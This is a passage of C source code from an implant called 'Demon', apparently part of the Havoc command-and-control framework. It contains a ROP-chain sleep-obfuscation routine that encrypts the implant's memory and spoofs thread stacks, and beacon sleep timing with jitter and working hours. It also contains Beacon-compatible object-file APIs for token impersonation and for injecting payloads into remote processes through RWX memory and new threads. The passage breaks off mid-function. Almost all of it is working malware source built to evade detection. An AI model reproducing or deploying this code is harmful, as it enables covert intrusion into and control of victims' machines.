NtCurrentProcess(), NtCurrentThread(), NtCurrentProcess(), &ThdSrc, 0, 0, DUPLICATE_SAME_ACCESS ) ) ) { PRINTF( "NtDuplicateObject Failed: %lx\n", NtStatus ) goto LEAVE; } /* NtTib backup */ MemCopy( &BkpTib, &Instance->Teb->NtTib, sizeof( NT_TIB ) ); } /* search for jmp instruction */ if ( JmpBypass ) { /* change padding to "jmp rbx" */ if ( JmpBypass == SLEEPOBF_BYPASS_JMPRBX ) { JmpPad[ 1 ] = 0x23; } /* scan memory for gadget */ if ( ! ( JmpGadget = MmGadgetFind( C_PTR( U_PTR( Instance->Modules.Ntdll ) + LDR_GADGET_HEADER_SIZE ), LDR_GADGET_MODULE_SIZE, JmpPad, sizeof( JmpPad ) ) ) ) { JmpBypass = SLEEPOBF_BYPASS_NONE; } } /* at this point we can start preparing the ROPs and execute the timers */ for ( int i = 0; i < 13; i++ ) { MemCopy( &Rop[ i ], &TimerCtx, sizeof( CONTEXT ) ); Rop[ i ].Rip = U_PTR( JmpGadget ); Rop[ i ].Rsp -= sizeof( PVOID ); } /* Start of Ropchain */ OBF_JMP( Inc, Instance->Win32.WaitForSingleObjectEx ); Rop[ Inc ].Rcx = U_PTR( EvntStart ); Rop[ Inc ].Rdx = U_PTR( INFINITE ); Rop[ Inc ].R8 = U_PTR( FALSE ); Inc++; /* Protect */ OBF_JMP( Inc, Instance->Win32.VirtualProtect ); Rop[ Inc ].Rcx = U_PTR( ImgBase ); Rop[ Inc ].Rdx = U_PTR( ImgSize ); Rop[ Inc ].R8 = U_PTR( PAGE_READWRITE ); Rop[ Inc ].R9 = U_PTR( &Value ); Inc++; /* Encrypt image base address */ OBF_JMP( Inc, Instance->Win32.SystemFunction032 ); Rop[ Inc ].Rcx = U_PTR( &Img ); Rop[ Inc ].Rdx = U_PTR( &Key ); Inc++; /* perform stack spoofing */ if ( Instance->Config.Implant.StackSpoof ) { OBF_JMP( Inc, Instance->Win32.NtGetContextThread ) Rop[ Inc ].Rcx = U_PTR( ThdSrc ); Rop[ Inc ].Rdx = U_PTR( &ThdCtx ); Inc++; OBF_JMP( Inc, Instance->Win32.RtlCopyMappedMemory ) Rop[ Inc ].Rcx = U_PTR( &TimerCtx.Rip ); Rop[ Inc ].Rdx = U_PTR( &ThdCtx.Rip ); Rop[ Inc ].R8 = U_PTR( sizeof( VOID ) ); Inc++; OBF_JMP( Inc, Instance->Win32.RtlCopyMappedMemory ) Rop[ Inc ].Rcx = U_PTR( &Instance->Teb->NtTib ); Rop[ Inc ].Rdx = U_PTR( &NtTib ); Rop[ Inc ].R8 = U_PTR( sizeof( NT_TIB ) ); Inc++; OBF_JMP( Inc, Instance->Win32.NtSetContextThread ) Rop[ Inc ].Rcx = U_PTR( ThdSrc ); Rop[ Inc ].Rdx = U_PTR( &TimerCtx ); Inc++; } /* Sleep */ OBF_JMP( Inc, Instance->Win32.WaitForSingleObjectEx ) Rop[ Inc ].Rcx = U_PTR( NtCurrentProcess() ); Rop[ Inc ].Rdx = U_PTR( Delay + TimeOut ); Rop[ Inc ].R8 = U_PTR( FALSE ); Inc++; /* undo stack spoofing */ if ( Instance->Config.Implant.StackSpoof ) { OBF_JMP( Inc, Instance->Win32.RtlCopyMappedMemory ) Rop[ Inc ].Rcx = U_PTR( &Instance->Teb->NtTib ); Rop[ Inc ].Rdx = U_PTR( &BkpTib ); Rop[ Inc ].R8 = U_PTR( sizeof( NT_TIB ) ); Inc++; OBF_JMP( Inc, Instance->Win32.NtSetContextThread ) Rop[ Inc ].Rcx = U_PTR( ThdSrc ); Rop[ Inc ].Rdx = U_PTR( &ThdCtx ); Inc++; } /* Sys032 */ OBF_JMP( Inc, Instance->Win32.SystemFunction032 ) Rop[ Inc ].Rcx = U_PTR( &Img ); Rop[ Inc ].Rdx = U_PTR( &Key ); Inc++; /* Protect */ OBF_JMP( Inc, Instance->Win32.VirtualProtect ) Rop[ Inc ].Rcx = U_PTR( TxtBase ); Rop[ Inc ].Rdx = U_PTR( TxtSize ); Rop[ Inc ].R8 = U_PTR( Protect ); Rop[ Inc ].R9 = U_PTR( &Value ); Inc++; /* End of Ropchain */ Rop[ Inc ].Rip = U_PTR( Instance->Win32.NtSetEvent ); OBF_JMP( Inc, Instance->Win32.NtSetEvent ) Rop[ Inc ].Rcx = U_PTR( EvntDelay ); Rop[ Inc ].Rdx = U_PTR( NULL ); Inc++; PRINTF( "Rops to be executed: %d\n", Inc ) /* execute/queue the timers */ for ( int i = 0; i < Inc; i++ ) { if ( Method == SLEEPOBF_EKKO ) { if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlCreateTimer( Queue, &Timer, C_PTR( Instance->Win32.NtContinue ), &Rop[ i ], Delay += 100, 0, WT_EXECUTEINTIMERTHREAD ) ) ) { PRINTF( "RtlCreateTimer Failed: %lx\n", NtStatus ) goto LEAVE; } } else if ( Method == SLEEPOBF_ZILEAN ) { if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlRegisterWait( &Timer, EvntWait, C_PTR( Instance->Win32.NtContinue ), &Rop[ i ], Delay += 100, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD ) ) ) { PRINTF( "RtlRegisterWait Failed: %lx\n", NtStatus ) goto LEAVE; } } } /* just wait for the sleep to end */ if ( ! ( Success = NT_SUCCESS( NtStatus = SysNtSignalAndWaitForSingleObject( EvntStart, EvntDelay, FALSE, NULL ) ) ) ) { PRINTF( "NtSignalAndWaitForSingleObject Failed: %lx\n", NtStatus ); } } else { PRINTF( "RtlCreateTimer/RtlRegisterWait Failed: %lx\n", NtStatus ) } } else { PRINTF( "RtlCreateTimer/RtlRegisterWait Failed: %lx\n", NtStatus ) } } else { PRINTF( "NtCreateEvent Failed: %lx\n", NtStatus ) } } else { PRINTF( "RtlCreateTimerQueue/NtCreateEvent Failed: %lx\n", NtStatus ) } LEAVE: /* cleanup */ if ( Queue ) { Instance->Win32.RtlDeleteTimerQueue( Queue ); Queue = NULL; } if ( EvntTimer ) { SysNtClose( EvntTimer ); EvntTimer = NULL; } if ( EvntStart ) { SysNtClose( EvntStart ); EvntStart = NULL; } if ( EvntDelay ) { SysNtClose( EvntDelay ); EvntDelay = NULL; } if ( EvntWait ) { SysNtClose( EvntWait ); EvntWait = NULL; } if ( ThdSrc ) { SysNtClose( ThdSrc ); ThdSrc = NULL; } /* clear the structs from stack */ for ( int i = 0; i < 13; i++ ) { RtlSecureZeroMemory( &Rop[ i ], sizeof( CONTEXT ) ); } /* clear key from memory */ RtlSecureZeroMemory( Buf, sizeof( Buf ) ); return Success; } #endif UINT32 SleepTime( VOID ) { UINT32 SleepTime = Instance->Config.Sleeping * 1000; UINT32 MaxVariation = ( Instance->Config.Jitter * SleepTime ) / 100; ULONG Rand = 0; UINT32 WorkingHours = Instance->Config.Transport.WorkingHours; SYSTEMTIME SystemTime = { 0 }; WORD StartHour = 0; WORD StartMinute = 0; WORD EndHour = 0; WORD EndMinute = 0; if ( ! InWorkingHours() ) { /* * we are no longer in working hours, * if the SleepTime is 0, then we will assume the operator is performing some "important" task right now, * so we will ignore working hours, and we won't sleep * if the SleepTime is not 0, we will sleep until we are in working hours again */ if ( SleepTime ) { // calculate how much we need to sleep until we reach the start of the working hours SleepTime = 0; StartHour = ( WorkingHours >> 17 ) & 0b011111; StartMinute = ( WorkingHours >> 11 ) & 0b111111; EndHour = ( WorkingHours >> 6 ) & 0b011111; EndMinute = ( WorkingHours >> 0 ) & 0b111111; Instance->Win32.GetLocalTime(&SystemTime); if ( SystemTime.wHour == EndHour && SystemTime.wMinute > EndMinute || SystemTime.wHour > EndHour ) { // seconds until 00:00 SleepTime += ( 24 - SystemTime.wHour - 1 ) * 60 + ( 60 - SystemTime.wMinute ); // seconds until start of working hours from 00:00 SleepTime += StartHour * 60 + StartMinute; } else { // seconds until start of working hours from current time SleepTime += ( StartHour - SystemTime.wHour ) * 60 + ( StartMinute - SystemTime.wMinute ); } SleepTime *= 1000; } } // MaxVariation will be non-zero if sleep jitter was specified else if ( MaxVariation ) { Rand = RandomNumber32(); Rand = Rand % MaxVariation; if ( RandomBool() ) { SleepTime += Rand; } else { SleepTime -= Rand; } } return SleepTime; } VOID SleepObf( VOID ) { UINT32 TimeOut = SleepTime(); DWORD Technique = Instance->Config.Implant.SleepMaskTechnique; /* don't do any sleep obf. waste of resources */ if ( TimeOut == 0 ) { return; } #if _WIN64 if ( Instance->Threads ) { PRINTF( "Can't sleep obf. Threads running: %d\n", Instance->Threads ) Technique = 0; } switch ( Technique ) { case SLEEPOBF_FOLIAGE: { SLEEP_PARAM Param = { 0 }; if ( ( Param.Master = Instance->Win32.ConvertThreadToFiberEx( &Param, 0 ) ) ) { if ( ( Param.Slave = Instance->Win32.CreateFiberEx( 0x1000 * 6, 0, 0, C_PTR( FoliageObf ), &Param ) ) ) { Param.TimeOut = TimeOut; Instance->Win32.SwitchToFiber( Param.Slave ); Instance->Win32.DeleteFiber( Param.Slave ); } Instance->Win32.ConvertFiberToThread( ); } break; } /* timer api based sleep obfuscation */ case SLEEPOBF_EKKO: case SLEEPOBF_ZILEAN: { if ( ! TimerObf( TimeOut, Technique ) ) { goto DEFAULT; } break; } /* default */ DEFAULT: case SLEEPOBF_NO_OBF: {}; default: { SpoofFunc( Instance->Modules.Kernel32, IMAGE_SIZE( Instance->Modules.Kernel32 ), Instance->Win32.WaitForSingleObjectEx, NtCurrentProcess(), C_PTR( TimeOut ), FALSE ); } } #else // TODO: add support for sleep obf and spoofing Instance->Win32.WaitForSingleObjectEx( NtCurrentProcess(), TimeOut, FALSE ); #endif } ================================================ FILE: payloads/Demon/src/core/ObjectApi.c ================================================ #include #include #include #include #include #include #include #include #include #include #include #ifndef bufsize #define bufsize 8192 #endif // Meh some wrapper functions for internal demon GetProcAddress and GetModuleHandleA functions. PVOID LdrModulePebString( PCHAR ModuleString ) { PRINTF( "ModuleString: %s : %lx\n", ModuleString, HashEx( ModuleString, 0, TRUE ) ) return Instance->Win32.GetModuleHandleA( ModuleString ); } PVOID LdrFunctionAddrString( PVOID Module, PCHAR Function ) { PRINTF( "Module:[%p] Function:[%s : %lx]\n", Module, Function, HashEx( Function, 0, TRUE ) ) return LdrFunctionAddr( Module, HashEx( Function, 0, TRUE ) ); } BOOL LdrFreeLibrary( HMODULE hLibModule ) { return Instance->Win32.FreeLibrary( hLibModule ); } HLOCAL LdrLocalFree( PVOID hMem ) { return Instance->Win32.LocalFree( hMem ); } COFFAPIFUNC BeaconApi[] = { { .NameHash = H_COFFAPI_BEACONDATAPARSER, .Pointer = BeaconDataParse }, { .NameHash = H_COFFAPI_BEACONDATAINT, .Pointer = BeaconDataInt }, { .NameHash = H_COFFAPI_BEACONDATASHORT, .Pointer = BeaconDataShort }, { .NameHash = H_COFFAPI_BEACONDATALENGTH, .Pointer = BeaconDataLength }, { .NameHash = H_COFFAPI_BEACONDATAEXTRACT, .Pointer = BeaconDataExtract }, { .NameHash = H_COFFAPI_BEACONFORMATALLOC, .Pointer = BeaconFormatAlloc }, { .NameHash = H_COFFAPI_BEACONFORMATRESET, .Pointer = BeaconFormatReset }, { .NameHash = H_COFFAPI_BEACONFORMATFREE, .Pointer = BeaconFormatFree }, { .NameHash = H_COFFAPI_BEACONFORMATAPPEND, .Pointer = BeaconFormatAppend }, { .NameHash = H_COFFAPI_BEACONFORMATPRINTF, .Pointer = BeaconFormatPrintf }, { .NameHash = H_COFFAPI_BEACONFORMATTOSTRING, .Pointer = BeaconFormatToString }, { .NameHash = H_COFFAPI_BEACONFORMATINT, .Pointer = BeaconFormatInt }, { .NameHash = H_COFFAPI_BEACONPRINTF, .Pointer = BeaconPrintf }, { .NameHash = H_COFFAPI_BEACONOUTPUT, .Pointer = BeaconOutput }, { .NameHash = H_COFFAPI_BEACONUSETOKEN, .Pointer = BeaconUseToken }, { .NameHash = H_COFFAPI_BEACONREVERTTOKEN, .Pointer = TokenRevSelf }, { .NameHash = H_COFFAPI_BEACONISADMIN, .Pointer = BeaconIsAdmin }, { .NameHash = H_COFFAPI_BEACONGETSPAWNTO, .Pointer = BeaconGetSpawnTo }, { .NameHash = H_COFFAPI_BEACONINJECTPROCESS, .Pointer = BeaconInjectProcess }, { .NameHash = H_COFFAPI_BEACONSPAWNTEMPORARYPROCESS, .Pointer = BeaconSpawnTemporaryProcess }, { .NameHash = H_COFFAPI_BEACONINJECTTEMPORARYPROCESS, .Pointer = BeaconInjectTemporaryProcess }, { .NameHash = H_COFFAPI_BEACONCLEANUPPROCESS, .Pointer = BeaconCleanupProcess }, { .NameHash = H_COFFAPI_BEACONINFORMATION, .Pointer = BeaconInformation }, { .NameHash = H_COFFAPI_BEACONADDVALUE, .Pointer = BeaconAddValue }, { .NameHash = H_COFFAPI_BEACONGETVALUE, .Pointer = BeaconGetValue }, { .NameHash = H_COFFAPI_BEACONREMOVEVALUE, .Pointer = BeaconRemoveValue }, { .NameHash = H_COFFAPI_BEACONDATASTOREGETITEM, .Pointer = BeaconDataStoreGetItem }, { .NameHash = H_COFFAPI_BEACONDATASTOREPROTECTITEM, .Pointer = BeaconDataStoreProtectItem }, { .NameHash = H_COFFAPI_BEACONDATASTOREUNPROTECTITEM, .Pointer = BeaconDataStoreUnprotectItem }, { .NameHash = H_COFFAPI_BEACONDATASTOREMAXENTRIES, .Pointer = BeaconDataStoreMaxEntries }, { .NameHash = H_COFFAPI_BEACONGETCUSTOMUSERDATA, .Pointer = BeaconGetCustomUserData }, // End of array { .NameHash = 0, .Pointer = NULL }, }; COFFAPIFUNC LdrApi[] = { { .NameHash = H_COFFAPI_TOWIDECHAR, .Pointer = toWideChar }, { .NameHash = H_COFFAPI_LOADLIBRARYA, .Pointer = LdrModuleLoad }, { .NameHash = H_COFFAPI_GETMODULEHANDLE, .Pointer = LdrModulePebString }, { .NameHash = H_COFFAPI_GETPROCADDRESS, .Pointer = LdrFunctionAddrString }, { .NameHash = H_COFFAPI_FREELIBRARY, .Pointer = LdrFreeLibrary }, { .NameHash = H_COFFAPI_LOCALFREE, .Pointer = LdrLocalFree }, // End of array { .NameHash = 0, .Pointer = NULL }, }; COFFAPIFUNC NtApi[] = { { .NameHash = H_COFFAPI_NTOPENTHREAD, .Pointer = SysNtOpenThread }, { .NameHash = H_COFFAPI_NTOPENPROCESS, .Pointer = SysNtOpenProcess }, { .NameHash = H_COFFAPI_NTTERMINATEPROCESS, .Pointer = SysNtTerminateProcess }, { .NameHash = H_COFFAPI_NTOPENTHREADTOKEN, .Pointer = SysNtOpenThreadToken }, { .NameHash = H_COFFAPI_NTOPENPROCESSTOKEN, .Pointer = SysNtOpenProcessToken }, { .NameHash = H_COFFAPI_NTDUPLICATETOKEN, .Pointer = SysNtDuplicateToken }, { .NameHash = H_COFFAPI_NTQUEUEAPCTHREAD, .Pointer = SysNtQueueApcThread }, { .NameHash = H_COFFAPI_NTSUSPENDTHREAD, .Pointer = SysNtSuspendThread }, { .NameHash = H_COFFAPI_NTRESUMETHREAD, .Pointer = SysNtResumeThread }, { .NameHash = H_COFFAPI_NTCREATEEVENT, .Pointer = SysNtCreateEvent }, { .NameHash = H_COFFAPI_NTCREATETHREADEX, .Pointer = SysNtCreateThreadEx }, { .NameHash = H_COFFAPI_NTDUPLICATEOBJECT, .Pointer = SysNtDuplicateObject }, { .NameHash = H_COFFAPI_NTGETCONTEXTTHREAD, .Pointer = SysNtGetContextThread }, { .NameHash = H_COFFAPI_NTSETCONTEXTTHREAD, .Pointer = SysNtSetContextThread }, { .NameHash = H_COFFAPI_NTQUERYINFORMATIONPROCESS, .Pointer = SysNtQueryInformationProcess }, { .NameHash = H_COFFAPI_NTQUERYSYSTEMINFORMATION, .Pointer = SysNtQuerySystemInformation }, { .NameHash = H_COFFAPI_NTWAITFORSINGLEOBJECT, .Pointer = SysNtWaitForSingleObject }, { .NameHash = H_COFFAPI_NTALLOCATEVIRTUALMEMORY, .Pointer = SysNtAllocateVirtualMemory }, { .NameHash = H_COFFAPI_NTWRITEVIRTUALMEMORY, .Pointer = SysNtWriteVirtualMemory }, { .NameHash = H_COFFAPI_NTFREEVIRTUALMEMORY, .Pointer = SysNtFreeVirtualMemory }, { .NameHash = H_COFFAPI_NTUNMAPVIEWOFSECTION, .Pointer = SysNtUnmapViewOfSection }, { .NameHash = H_COFFAPI_NTPROTECTVIRTUALMEMORY, .Pointer = SysNtProtectVirtualMemory }, { .NameHash = H_COFFAPI_NTREADVIRTUALMEMORY, .Pointer = SysNtReadVirtualMemory }, { .NameHash = H_COFFAPI_NTTERMINATETHREAD, .Pointer = SysNtTerminateThread }, { .NameHash = H_COFFAPI_NTALERTRESUMETHREAD, .Pointer = SysNtAlertResumeThread }, { .NameHash = H_COFFAPI_NTSIGNALANDWAITFORSINGLEOBJECT, .Pointer = SysNtSignalAndWaitForSingleObject }, { .NameHash = H_COFFAPI_NTQUERYVIRTUALMEMORY, .Pointer = SysNtQueryVirtualMemory }, { .NameHash = H_COFFAPI_NTQUERYINFORMATIONTOKEN, .Pointer = SysNtQueryInformationToken }, { .NameHash = H_COFFAPI_NTQUERYINFORMATIONTHREAD, .Pointer = SysNtQueryInformationThread }, { .NameHash = H_COFFAPI_NTQUERYOBJECT, .Pointer = SysNtQueryObject }, { .NameHash = H_COFFAPI_NTCLOSE, .Pointer = SysNtClose }, { .NameHash = H_COFFAPI_NTSETINFORMATIONTHREAD, .Pointer = SysNtSetInformationThread }, { .NameHash = H_COFFAPI_NTSETINFORMATIONVIRTUALMEMORY, .Pointer = SysNtSetInformationVirtualMemory }, { .NameHash = H_COFFAPI_NTGETNEXTTHREAD, .Pointer = SysNtGetNextThread }, // End of array { .NameHash = 0, .Pointer = NULL }, }; uint32_t swap_endianess(uint32_t indata) { uint32_t testint = 0xaabbccdd; uint32_t outint = indata; if (((unsigned char*)&testint)[0] == 0xdd) { ((unsigned char*)&outint)[0] = ((unsigned char*)&indata)[3]; ((unsigned char*)&outint)[1] = ((unsigned char*)&indata)[2]; ((unsigned char*)&outint)[2] = ((unsigned char*)&indata)[1]; ((unsigned char*)&outint)[3] = ((unsigned char*)&indata)[0]; } return outint; } VOID BeaconDataParse( PDATA parser, PCHAR buffer, INT size ) { if ( parser == NULL ) return; parser->original = buffer; parser->buffer = buffer; parser->length = size - 4; parser->size = size - 4; parser->buffer += 4; } INT BeaconDataInt( PDATA parser ) { UINT32 Value = 0; if ( parser->length < 4 ) return 0; MemCopy( &Value, parser->buffer, 4 ); parser->buffer += 4; parser->length -= 4; return ( INT ) Value; } SHORT BeaconDataShort( datap* parser ) { UINT16 Value = 0; if ( parser->length < 2 ) return 0; MemCopy( &Value, parser->buffer, 2 ); parser->buffer += 2; parser->length -= 2; return ( short ) Value; } INT BeaconDataLength( PDATA parser ) { return parser->length; } PCHAR BeaconDataExtract( PDATA parser, PINT size ) { INT Length = 0; PVOID Data = NULL; if ( parser->length < 4 ) return NULL; MemCopy( &Length, parser->buffer, 4 ); parser->buffer += 4; Data = parser->buffer; if ( Data == NULL ) return NULL; parser->length -= 4; parser->length -= Length; parser->buffer += Length; if ( size != NULL ) *size = Length; return Data; } /* * This function is called by BeaconPrintf and BeaconOutput. * It loops over all the COFFEE structs saved on the Instance object * trying to find which BOF called BeaconPrintf/BeaconOutput * once it finds it, it returns the RequestID * this is so that the TS can identify which BOF is sending the output data. * This is needed because you can have more than one BOF mapped in memory at the same time */ BOOL GetRequestIDForCallingObjectFile( PVOID CoffeeFunctionReturn, PUINT32 RequestID ) { PCOFFEE Entry = Instance->Coffees; if ( ! CoffeeFunctionReturn || ! RequestID ) return FALSE; while ( Entry ) { if ( ( ULONG_PTR ) CoffeeFunctionReturn >= ( ULONG_PTR ) Entry->ImageBase && ( ULONG_PTR ) CoffeeFunctionReturn < ( ( ULONG_PTR ) Entry->ImageBase + Entry->BofSize ) ) { //PRINTF( "Found the RequestID for the calling BOF: %x\n", Entry->RequestID ) *RequestID = Entry->RequestID; return TRUE; } Entry = Entry->Next; } PUTS( "Failed to find the RequestID for the calling BOF" ) return FALSE; } VOID BeaconPrintf( INT Type, PCHAR fmt, ... ) { //PRINTF( "BeaconPrintf( %d, %x, ... )\n", Type, fmt ) PPACKAGE package = NULL; va_list VaListArg = 0; PVOID CallbackOutput = NULL; INT CallbackSize = 0; UINT32 RequestID = 0; PVOID CoffeeFunctionReturn = __builtin_return_address( 0 ); if ( ! fmt ) { PUTS( "Format string can't be NULL" ); return; } if ( GetRequestIDForCallingObjectFile( CoffeeFunctionReturn, &RequestID ) ) package = PackageCreateWithRequestID( BEACON_OUTPUT, RequestID ); else package = PackageCreate( BEACON_OUTPUT ); va_start( VaListArg, fmt ); CallbackSize = Instance->Win32.vsnprintf( NULL, 0, fmt, VaListArg ); if ( CallbackSize < 0 ) { PUTS( "Failed to calculate final string length" ) va_end( VaListArg ); return; } CallbackOutput = Instance->Win32.LocalAlloc( LPTR, CallbackSize + 1 ); if ( ! CallbackOutput ) { PUTS( "Failed to allocate CallbackOutput" ); va_end( VaListArg ); return; } if ( Instance->Win32.vsnprintf( CallbackOutput, CallbackSize, fmt, VaListArg ) < 0 ) { PUTS( "Failed to format string" ) MemSet( CallbackOutput, 0, CallbackSize ); Instance->Win32.LocalFree( CallbackOutput ); va_end( VaListArg ); return; } va_end( VaListArg ); PRINTF( "CallbackOutput[%d]: \n%s\n", CallbackSize, CallbackOutput ); PackageAddInt32( package, Type ); PackageAddBytes( package, CallbackOutput, CallbackSize ); PackageTransmit( package ); MemSet( CallbackOutput, 0, CallbackSize ); Instance->Win32.LocalFree( CallbackOutput ); } VOID BeaconOutput( INT Type, PCHAR data, INT len ) { PRINTF( "BeaconOutput( %d, %p, %d )\n", Type, data, len ) UINT32 RequestID = 0; PPACKAGE Package = NULL; PVOID CoffeeFunctionReturn = __builtin_return_address( 0 ); if ( GetRequestIDForCallingObjectFile( CoffeeFunctionReturn, &RequestID ) ) { Package = PackageCreateWithRequestID( BEACON_OUTPUT, RequestID ); } else { Package = PackageCreate( BEACON_OUTPUT ); } PackageAddInt32( Package, Type ); PackageAddBytes( Package, ( PBYTE ) data, len ); PackageTransmit( Package ); } BOOL BeaconIsAdmin( VOID ) { HANDLE Token = { 0 }; BOOL Admin = FALSE; /* query if current process token is elevated or not */ if ( ( Token = TokenCurrentHandle() ) ) { Admin = TokenElevated( Token ); } /* close token handle */ if ( Token ) { SysNtClose( Token ); } return Admin; } VOID BeaconFormatAlloc( PFORMAT format, int maxsz ) { if ( format == NULL ) return; format->original = Instance->Win32.LocalAlloc(maxsz, 1); format->buffer = format->original; format->length = 0; format->size = maxsz; } VOID BeaconFormatReset( PFORMAT format ) { MemSet( format->original, 0, format->size ); format->buffer = format->original; format->length = format->size; } VOID BeaconFormatFree( PFORMAT format ) { if ( format == NULL ) return; if ( format->original ) { Instance->Win32.LocalFree( format->original ); format->original = NULL; } format->buffer = NULL; format->length = 0; format->size = 0; } VOID BeaconFormatAppend( PFORMAT format, char* text, int len ) { MemCopy( format->buffer, text, len ); format->buffer += len; format->length += len; } VOID BeaconFormatPrintf( PFORMAT format, char* fmt, ... ) { va_list args = { 0 }; int length = 0; va_start( args, fmt ); length = Instance->Win32.vsnprintf( NULL, 0, fmt, args ); va_end( args ); if ( format->length + length > format->size ) { return; } va_start( args, fmt ); Instance->Win32.vsnprintf( format->buffer, length, fmt, args ); va_end( args ); format->length += length; format->buffer += length; } char* BeaconFormatToString( PFORMAT format, int* size) { *size = format->length; return format->original; } VOID BeaconFormatInt( PFORMAT format, int value) { uint32_t indata = value; uint32_t outdata = 0; if (format->length + 4 > format->size) { return; } outdata = swap_endianess(indata); MemCopy(format->buffer, &outdata, 4); format->length += 4; format->buffer += 4; return; } BOOL BeaconUseToken( HANDLE token ) { HANDLE hImpersonateToken = INVALID_HANDLE_VALUE; if ( ! SysNtDuplicateToken( token, 0, NULL, FALSE, TokenPrimary, &hImpersonateToken ) ) { return FALSE; } if ( ! Instance->Win32.SetThreadToken( NULL, hImpersonateToken ) ) { return FALSE; } return TRUE; } VOID BeaconGetSpawnTo( BOOL x86, char* buffer, int length ) { PWCHAR Path = NULL; SIZE_T Size = 0; if ( ! buffer ) return; if ( x86 ) { Path = Instance->Config.Process.Spawn86; } else { Path = Instance->Config.Process.Spawn64; } Size = StringLengthW( Path ) * sizeof( WCHAR ); if ( Size > length ) { return; } MemCopy( buffer, Path, Size ); } BOOL BeaconSpawnTemporaryProcess( BOOL x86, BOOL ignoreToken, STARTUPINFO* sInfo, PROCESS_INFORMATION* pInfo ) { BOOL bSuccess = FALSE; HANDLE hToken = INVALID_HANDLE_VALUE; PWCHAR Path = NULL; if (x86) { Path = Instance->Config.Process.Spawn86; } else { Path = Instance->Config.Process.Spawn64; } if (ignoreToken) { bSuccess = Instance->Win32.CreateProcessW(NULL, Path, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, sInfo, pInfo); } else { bSuccess = Instance->Win32.CreateProcessWithTokenW(hToken, LOGON_WITH_PROFILE, NULL, Path, CREATE_UNICODE_ENVIRONMENT, NULL, NULL, sInfo, pInfo); } return bSuccess; } VOID BeaconInjectProcess( HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char * arg, int a_len ) { PVOID a_RemoteBuf = NULL; PVOID p_RemoteBuf = NULL; SIZE_T Size = 0; NTSTATUS Status = STATUS_SUCCESS; CLIENT_ID ClientID = { 0 } ; OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; InitializeObjectAttributes( &ObjectAttributes, NULL, 0, NULL, NULL ); if ( ! hProc ) { hProc = ProcessOpen( pid, PROCESS_ALL_ACCESS ); if ( ! hProc ) { return; } } // allocate memory space for payload Size = p_len * sizeof( CHAR ); Status = SysNtAllocateVirtualMemory(hProc, &p_RemoteBuf, 0, &Size, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); if ( ! NT_SUCCESS( Status ) ) return; Status = SysNtWriteVirtualMemory(hProc, p_RemoteBuf, (PVOID)payload, Size, 0); if ( ! NT_SUCCESS( Status ) ) return; // allocate memory space for argument Size = a_len * sizeof( CHAR ); Status = SysNtAllocateVirtualMemory(hProc, &a_RemoteBuf, 0, &Size, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); if ( ! NT_SUCCESS( Status ) ) return; Status = SysNtWriteVirtualMemory(hProc, a_RemoteBuf, (PVOID)arg, Size, 0); if ( ! NT_SUCCESS( Status ) ) return; Status = SysNtCreateThreadEx(NULL, GENERIC_EXECUTE, NULL, hProc, (LPTHREAD_START_ROUTINE)(p_RemoteBuf + p_offset), a_RemoteBuf, FALSE, 0, 0, 0, NULL); if ( ! NT_SUCCESS( Status ) ) return; } VOID BeaconInjectTemporaryProcess( PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len ) { PVOID p_RemoteBuf; PVOID a_RemoteBuf; SIZE_T Size; NTSTATUS Status; // allocate memory space for payload Size = p_len * sizeof(char); Status = SysNtAllocateVirtualMemory(pInfo->hProcess, &p_RemoteBuf, 0, &Size, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); if (Status != STATUS_SUCCESS) { return; } Status = SysNtWriteVirtualMemory(pInfo->hProcess, p_RemoteBuf, (PVOID)payload, Size, 0); if (Status != STATUS_SUCCESS) { return; } // allocate memory space for argument Size = a_len * sizeof(char); Status = SysNtAllocateVirtualMemory(pInfo->hProcess, &a_RemoteBuf, 0, &Size, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); if (Status != STATUS_SUCCESS) { return; } Status = SysNtWriteVirtualMemory(pInfo->hProcess, a_RemoteBuf, (PVOID)arg, Size, 0); if (Status != STATUS_SUCCESS) { return; } SysNtCreateThreadEx(NULL, GENERIC_EXECUTE, NULL, pInfo->hProcess, (LPTHREAD_START_ROUTINE)(p_RemoteBuf + p_offset), a_RemoteBuf, FALSE, 0, 0, 0, NULL); } VOID BeaconCleanupProcess( PROCESS_INFORMATION* pInfo ) { NTSTATUS status; status = SysNtClose(pInfo->hProcess); if (status != STATUS_SUCCESS) return; status = SysNtClose(pInfo->hThread); if (status != STATUS_SUCCESS) return; } // not implemented VOID BeaconInformation(BEACON_INFO * info) { PUTS( "BeaconInformation is not implemented" ); return; } BOOL BeaconAddValue(const char * key, void * ptr) { PCOFFEE_KEY_VALUE KeyValue = NULL; SIZE_T KeyLength = 0; if ( ! key ) { PUTS( "No key was provided" ); return FALSE; } KeyLength = StringLengthA( key ); if ( KeyLength == 0 ) { PUTS( "The key is too short" ); return FALSE; } if ( KeyLength >= COFFEE_KEY_VALUE_MAX_KEY ) { PRINTF( "The key %s is too long\n", key ); return FALSE; } // make sure the key doesn't already exist KeyValue = Instance->CoffeKeyValueStore; while ( KeyValue ) { if ( StringCompareA( KeyValue->Key, key ) == 0 ) { PRINTF( "The key %s already exists\n", key ); return FALSE; } KeyValue = KeyValue->Next; } KeyValue = Instance->Win32.LocalAlloc( LPTR, sizeof( COFFEE_KEY_VALUE ) ); KeyValue->Value = ptr; StringCopyA( KeyValue->Key, key ); // store the new item at the start of the list KeyValue->Next = Instance->CoffeKeyValueStore; Instance->CoffeKeyValueStore = KeyValue; return TRUE; } PVOID BeaconGetValue(const char * key) { PCOFFEE_KEY_VALUE KeyValue = NULL; if ( ! key ) { PUTS( "No key was provided" ); return NULL; } KeyValue = Instance->CoffeKeyValueStore; while ( KeyValue ) { if ( StringCompareA( KeyValue->Key, key ) == 0 ) { return KeyValue->Value; } KeyValue = KeyValue->Next; } return NULL; } BOOL BeaconRemoveValue(const char * key) { PCOFFEE_KEY_VALUE Current = NULL; PCOFFEE_KEY_VALUE Prev = NULL; if ( ! key ) { PUTS( "No key was provided" 